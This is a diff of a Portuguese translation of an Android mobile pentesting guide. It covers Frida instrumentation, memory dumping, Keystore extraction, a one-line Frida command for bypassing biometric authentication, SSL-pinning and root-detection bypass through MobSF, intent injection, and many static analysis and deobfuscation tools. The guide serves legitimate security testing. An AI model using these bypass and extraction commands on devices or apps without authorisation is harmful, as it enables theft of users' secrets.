- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & workflow de bypass de SSL pinning
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
{{#ref}}
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### **Dump de Memória - Fridump**
|
||||
### **Dump Memory - Fridump**
|
||||
|
||||
Verifique se a aplicação está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemonics.
|
||||
Verifique se a aplicação está armazenando informações sensíveis na memória que não deveria, como senhas ou mnemônicos.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode fazer dump da memória do app com:
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) você pode fazer o dump da memória do app com:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -534,120 +541,120 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Isso vai despejar a memória na pasta ./dump, e lá você pode usar grep com algo assim:
|
||||
Isso fará o dump da memória na pasta ./dump, e lá você pode usar grep com algo como:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Dados sensíveis no Keystore**
|
||||
|
||||
No Android o Keystore é o melhor lugar para armazenar dados sensíveis, no entanto, com privilégios suficientes ainda é **possível acessá-lo**. Como as aplicações tendem a armazenar aqui **sensitive data in clear text**, os pentests devem verificar isso, pois um root user ou alguém com acesso físico ao dispositivo pode roubar esses dados.
|
||||
No Android o Keystore é o melhor lugar para armazenar dados sensíveis, entretanto, com privilégios suficientes ainda é **possível acessá-lo**. Como aplicações tendem a armazenar aqui **dados sensíveis em texto claro**, os pentests devem verificar isso, pois um root user ou alguém com acesso físico ao dispositivo pode ser capaz de roubar esses dados.
|
||||
|
||||
Mesmo que um app armazene dados no keystore, os dados devem estar criptografados.
|
||||
Mesmo que um app armazene dados no keystore, os dados devem ser criptografados.
|
||||
|
||||
Para acessar os dados dentro do keystore você pode usar este Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Para acessar os dados dentro do keystore você pode usar este script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Usando o seguinte script Frida, pode ser possível **bypass fingerprint authentication** que aplicações Android podem estar realizando para **proteger certas áreas sensíveis:**
|
||||
Usando o seguinte script Frida, pode ser possível **bypass fingerprint authentication** que aplicações Android podem realizar para **proteger certas áreas sensíveis:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Imagens de Fundo**
|
||||
### **Imagens de fundo**
|
||||
|
||||
Quando você coloca um aplicativo em background, o Android armazena um **snapshot of the application** para que, quando ele for restaurado para foreground, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rapidamente.
|
||||
Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, fazendo parecer que o aplicativo foi carregado mais rápido.
|
||||
|
||||
No entanto, se esse snapshot contiver **informações sensíveis**, alguém com acesso ao snapshot pode **roubar essas informações** (observe que é necessário root para acessá-lo).
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (observe que você precisa de root para acessá-lo).
|
||||
|
||||
Os snapshots normalmente são armazenados em: **`/data/system_ce/0/snapshots`**
|
||||
Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
O Android disponibiliza uma forma de **prevenir a captura de screenshots definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em screenshots ou que seja exibido em displays não seguros.
|
||||
O Android fornece uma maneira de **impedir a captura de screenshots definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, evitando que apareça em screenshots ou que seja visualizado em telas não seguras.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
### **Android Application Analyzer**
|
||||
### **Analisador de Aplicativos Android**
|
||||
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Desenvolvedores frequentemente criam componentes proxy, como activities, services e broadcast receivers, que manipulam esses Intents e os passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
Desenvolvedores frequentemente criam componentes proxy como activities, services, e broadcast receivers que manipulam esses Intents e os passam para métodos tais como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo está em permitir que atacantes acionem componentes da aplicação não exportados ou acessem content providers sensíveis ao redirecionar indevidamente esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções de Intent maliciosas.
|
||||
O perigo reside em permitir que atacantes acionem componentes não-exportados do app ou acessem content providers sensíveis ao redirecionar esses Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, o que pode levar a injeções de Intent maliciosas.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection** é similar ao problema Open Redirect da web.
|
||||
- Explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
- Pode expor componentes não exportados e content providers aos atacantes.
|
||||
- A conversão de URLs para `Intent` do `WebView` pode facilitar ações não intencionais.
|
||||
- **Intent Injection** é semelhante ao problema Open Redirect da web.
|
||||
- Exploits envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
- Pode expor componentes não-exportados e content providers a atacantes.
|
||||
- A conversão de URL para `Intent` do `WebView` pode facilitar ações não intencionais.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
### Injeções no lado do cliente Android e outros
|
||||
|
||||
Provavelmente você conhece esse tipo de vulnerabilidade da Web. É preciso ter especial cuidado com essas vulnerabilidades em uma aplicação Android:
|
||||
Provavelmente você conhece esse tipo de vulnerabilidade pela Web. Deve ter especial cuidado com essas vulnerabilidades em uma aplicação Android:
|
||||
|
||||
- **SQL Injection:** Ao lidar com consultas dinâmicas ou Content-Providers, assegure-se de usar consultas parametrizadas.
|
||||
- **JavaScript Injection (XSS):** Verifique se o suporte a JavaScript e a Plugins está desabilitado para quaisquer WebViews (desabilitado por padrão). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** O acesso ao sistema de arquivos pelos WebViews deve estar desabilitado (habilitado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão, o cookie não é removido ou pode até ser salvo em disco
|
||||
- **JavaScript Injection (XSS):** Verify that JavaScript and Plugin support is disabled for any WebViews (disabled by default). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** WebViews should have access to the file system disabled (enabled by default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: Em vários casos, quando a aplicação Android finaliza a sessão, o cookie não é revogado ou pode até ser salvo no disco
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## Análise Automática
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**Static analysis**
|
||||
**Análise estática**
|
||||
|
||||
.png>)
|
||||
|
||||
**Vulnerability assessment of the application** usando uma interface web agradável. Você também pode realizar análise dinâmica (mas é necessário preparar o ambiente).
|
||||
**Avaliação de vulnerabilidades da aplicação** usando um agradável frontend web. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Notice que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um app **Android** ou **IOS** (vá para a pasta root da aplicação, selecione tudo e crie um ZIPfile), ele também poderá analisá-lo.
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
|
||||
|
||||
MobSF também permite que você faça **diff/Compare** de análises e integre o **VirusTotal** (você precisará configurar sua API key em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` para `False`, então o **hash** será **upload** em vez do arquivo.
|
||||
MobSF também permite fazer **diff/Compare** das análises e integrar o **VirusTotal** (você precisará definir sua API key em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` para `False`, então o **hash** será **upload** em vez do arquivo.
|
||||
|
||||
### Análise Dinâmica Assistida com MobSF
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar MobSF e **genymotion** no seu host (uma VM ou Docker não funcionam). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
|
||||
**MobSF** também pode ser muito útil para **dynamic analysis** em **Android**, mas nesse caso você precisará instalar MobSF e **genymotion** no seu host (uma VM ou Docker não funcionarão). _Nota: Você precisa primeiro iniciar uma VM no genymotion e depois o MobSF._\
|
||||
O **MobSF dynamic analyser** pode:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots feitas por você, screenshots feitas pelo "**Exported Activity Tester**", emails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas screenshots — você precisa pressionar quando quiser uma screenshot ou pressionar "**Exported Activity Tester**" para obter screenshots de todas as activities exportadas.
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots feitas por você, screenshots feitas pelo "**Exported Activity Tester**", emails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto as screenshots — você precisa pressionar quando quiser uma screenshot ou pressionar "**Exported Activity Tester**" para obter screenshots de todas as atividades exportadas.
|
||||
- Capturar tráfego **HTTPS**
|
||||
- Usar **Frida** para obter **runtime** **information**
|
||||
- Usar **Frida** para obter informações de **runtime**
|
||||
|
||||
A partir de android **versions > 5**, ele irá **automatically start Frida** e configurará as definições globais de **proxy** para **capture** o tráfego. Ele capturará apenas o tráfego da aplicação testada.
|
||||
Em versões Android > 5, ele irá iniciar o **Frida** automaticamente e definirá o **proxy** global para capturar o tráfego. Ele capturará apenas o tráfego da aplicação testada.
|
||||
|
||||
**Frida**
|
||||
|
||||
Por padrão, ele também usará alguns Frida Scripts para **bypass SSL pinning**, **root detection** e **debugger detection** e para **monitor interesting APIs**.\
|
||||
MobSF também pode **invoke exported activities**, capturar **screenshots** delas e **save** para o relatório.
|
||||
Por padrão, ele também usa alguns Frida Scripts para **bypass SSL pinning**, **root detection** e **debugger detection**, e para **monitor interesting APIs**.\
|
||||
O MobSF também pode invocar **exported activities**, capturar **screenshots** dessas atividades e salvá-las para o relatório.
|
||||
|
||||
Para **start** o teste dinâmico pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos Frida scripts e "**Live API Monitor**" para ver todas as invocações aos métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
MobSF também permite carregar seus próprios **Frida scripts** (para enviar os resultados dos seus Frida scripts para o MobSF use a função `send()`). Ele também possui **several pre-written scripts** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
Para iniciar os testes dinâmicos pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos Frida scripts e "**Live API Monitor**" para ver todas as invocações aos métodos hooked, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite carregar seus próprios **Frida scripts** (para enviar os resultados dos seus Friday scripts para o MobSF use a função `send()`). Ele também tem **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: Irá imprimir todas as classes carregadas
|
||||
- **Capture Strings**: Irá imprimir todas as strings capturadas enquanto usa a aplicação (muito ruidoso)
|
||||
- **Capture String Comparisons**: Pode ser muito útil. Irá **show the 2 strings being compared** e se o resultado foi True ou False.
|
||||
- **Enumerate Class Methods**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Search Class Pattern**: Buscar classes por pattern
|
||||
- **Trace Class Methods**: **Trace** a **whole class** (ver entradas e saídas de todos os métodos da classe). Lembre-se que por padrão o MobSF traça vários métodos interessantes da Android API.
|
||||
- **Capture Strings**: Irá imprimir todas as strings capturadas enquanto usa a aplicação (muito verboso)
|
||||
- **Capture String Comparisons**: Pode ser muito útil. Irá **mostrar as 2 strings sendo comparadas** e se o resultado foi True ou False.
|
||||
- **Enumerate Class Methods**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
- **Search Class Pattern**: Buscar classes por padrão
|
||||
- **Trace Class Methods**: **Trace** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se que por padrão o MobSF traça vários métodos interessantes da Android Api.
|
||||
|
||||
Após selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
Depois de selecionar o módulo auxiliar que quer usar você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF também oferece um shell com alguns comandos **adb**, **MobSF commands**, e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
O MobSF também inclui um shell com alguns comandos **adb**, comandos do **MobSF**, e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -658,32 +665,32 @@ receivers
|
||||
```
|
||||
**Ferramentas HTTP**
|
||||
|
||||
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
|
||||
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Quando o tráfego HTTP é capturado você pode ver uma visão feia do tráfego capturado no botão "**HTTP(S) Traffic**" ou uma visão mais agradável no botão verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **captured requests** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para isso, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> pressione "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Once you finish the dynamic analysis with MobSF you can press on "**Start Web API Fuzzer**" to **fuzz http requests** an look for vulnerabilities.
|
||||
Depois de terminar a análise dinâmica com MobSF você pode pressionar "**Start Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
|
||||
|
||||
> [!TIP]
|
||||
> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar mal configuradas e você pode não conseguir corrigi-las pela GUI. Você pode corrigir as configurações de proxy executando:
|
||||
> Após realizar uma análise dinâmica com MobSF as configurações de proxy podem ficar incorretas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações de proxy executando:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Análise Dinâmica Assistida com Inspeckage
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
Você pode obter a ferramenta em [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta ferramenta utiliza alguns **Hooks** para mostrar **o que está acontecendo no aplicativo** enquanto você realiza uma **análise dinâmica**.
|
||||
Esta ferramenta usa alguns **Hooks** para mostrar **o que está acontecendo no aplicativo** enquanto você realiza uma **análise dinâmica**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Esta é uma **excelente ferramenta para realizar análise estática com uma GUI**
|
||||
Esta é uma **excelente ferramenta para realizar static analysis com uma GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta ferramenta foi projetada para buscar várias **vulnerabilidades de aplicações Android relacionadas à segurança**, tanto no **código-fonte** quanto em **APKs empacotados**. A ferramenta também é **capaz de criar um APK implantável de "Proof-of-Concept"** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (atividades expostas, intents, tapjacking...). Como com Drozer, não é necessário rootear o dispositivo de teste.
|
||||
Esta ferramenta foi projetada para procurar várias **vulnerabilidades relacionadas à segurança** em aplicações Android, tanto no **source code** quanto em **packaged APKs**. A ferramenta também é **capaz de criar um "Proof-of-Concept" deployable APK** e **ADB commands**, para explorar algumas das vulnerabilidades encontradas (Exposed activities, intents, tapjacking...). Como com Drozer, não é necessário root no dispositivo de teste.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -694,7 +701,7 @@ qark --java path/to/specific/java/file.java
|
||||
|
||||
- Exibe todos os arquivos extraídos para fácil referência
|
||||
- Descompila automaticamente arquivos APK para os formatos Java e Smali
|
||||
- Analisa AndroidManifest.xml em busca de vulnerabilidades e comportamentos comuns
|
||||
- Analisa o AndroidManifest.xml para vulnerabilidades e comportamentos comuns
|
||||
- Análise estática de código-fonte para vulnerabilidades e comportamentos comuns
|
||||
- Informações do dispositivo
|
||||
- e mais
|
||||
@ -703,11 +710,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER é uma aplicação de linha de comando que pode ser usada em Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Ele faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
|
||||
SUPER é uma aplicação de linha de comando que pode ser usada no Windows, MacOS X e Linux, que analisa arquivos _.apk_ em busca de vulnerabilidades. Faz isso descompactando APKs e aplicando uma série de regras para detectar essas vulnerabilidades.
|
||||
|
||||
Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisa.
|
||||
Todas as regras estão centralizadas em um arquivo `rules.json`, e cada empresa ou testador pode criar suas próprias regras para analisar o que precisam.
|
||||
|
||||
Faça o download dos binários mais recentes na [download page](https://superanalyzer.rocks/download.html)
|
||||
Baixe os binários mais recentes na [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -715,17 +722,17 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers a realizar [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis.
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, bugbounty hunters e ethical hackers na realização de [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicações móveis.
|
||||
|
||||
O conceito é que você arraste e solte o arquivo da sua aplicação móvel (um arquivo .apk ou .ipa) no aplicativo StaCoAn e ele gerará um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada.
|
||||
O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e wordlists para obter uma experiência personalizada.
|
||||
|
||||
Baixe[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Baixar[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
|
||||
AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicativos Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -735,9 +742,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** é uma ferramenta cujo objetivo principal é detectar e alertar o usuário sobre potenciais comportamentos maliciosos desenvolvidos por uma aplicação Android.
|
||||
|
||||
A detecção é realizada com a **static analysis** do bytecode Dalvik da aplicação, representado como **Smali**, com a biblioteca [`androguard`](https://github.com/androguard/androguard).
|
||||
A detecção é realizada por meio da **static analysis** do Dalvik bytecode da aplicação, representado como **Smali**, com a biblioteca [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Esta ferramenta procura por **comportamentos comuns de aplicações "maliciosas"** como: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Essa ferramenta procura por **common behavior of "bad" applications** like: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -745,7 +752,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** é um **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que agrega ferramentas comumente usadas para reverse engineering e análise de aplicações móveis, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile do OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicações móveis e profissionais de segurança.
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. É uma ferramenta que agrega ferramentas comumente usadas para reverse engineering e análise de aplicações móveis, para auxiliar nos testes de aplicações móveis contra as ameaças de segurança mobile da OWASP. Seu objetivo é tornar essa tarefa mais fácil e mais amigável para desenvolvedores de aplicações móveis e profissionais de segurança.
|
||||
|
||||
Ele é capaz de:
|
||||
|
||||
@ -753,79 +760,75 @@ Ele é capaz de:
|
||||
- Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Extrair informações privadas do APK usando regexps.
|
||||
- Analisar o Manifest.
|
||||
- Analisar domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Analisar os domínios encontrados usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- Deobfuscar APK via [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Ofuscação/Deofuscação de código
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Note que, dependendo do serviço e da configuração usada para ofuscar o código, segredos podem ou não terminar ofuscados.
|
||||
Observe que, dependendo do serviço e da configuração que você usa para ofuscar o código, segredos podem ou não acabar ofuscados.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta open source de linha de comando que reduz, otimiza e ofusca código Java. Ela é capaz de otimizar bytecode assim como detectar e remover instruções não usadas. ProGuard é software livre e é distribuído sob a GNU General Public License, versão 2.
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** é uma ferramenta de linha de comando open source que reduz, otimiza e ofusca código Java. É capaz de otimizar bytecode assim como detectar e remover instruções não utilizadas. ProGuard é software livre e está distribuído sob a GNU General Public License, versão 2.
|
||||
|
||||
ProGuard é distribuído como parte do Android SDK e é executado ao construir a aplicação em modo release.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encontre um guia passo a passo para deobfuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Find a step-by-step guide to deobfuscate the apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(Do guia) Da última vez que verificamos, o modo de operação do Dexguard era:
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
|
||||
- carregar um recurso como um InputStream;
|
||||
- alimentar o resultado para uma classe que herda de FilterInputStream para descriptografá-lo;
|
||||
- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reverser;
|
||||
- fazer alguma ofuscação inútil para gastar alguns minutos do tempo de um reverser;
|
||||
- alimentar o resultado descriptografado para um ZipInputStream para obter um arquivo DEX;
|
||||
- finalmente carregar o DEX resultante como um Resource usando o método `loadDex`.
|
||||
- por fim carregar o DEX resultante como um Resource usando o método `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e predição de bibliotecas.**
|
||||
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e identificação de bibliotecas.**
|
||||
|
||||
Você pode enviar um APK ofuscado para a plataforma deles.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
Esta é uma ferramenta LLM para encontrar quaisquer potenciais vulnerabilidades de segurança em apps android e deobfuscar código de apps android. Usa a Gemini public API do Google.
|
||||
Esta é uma ferramenta LLM para encontrar possíveis vulnerabilidades de segurança em apps android e deobfuscar o código de apps android. Usa a Google Gemini public API.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
É um **deobfuscador android genérico.** Simplify **executa virtualmente um app** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil de entender por um humano. Cada tipo de otimização é simples e genérica, então não importa qual tipo específico de ofuscação foi usado.
|
||||
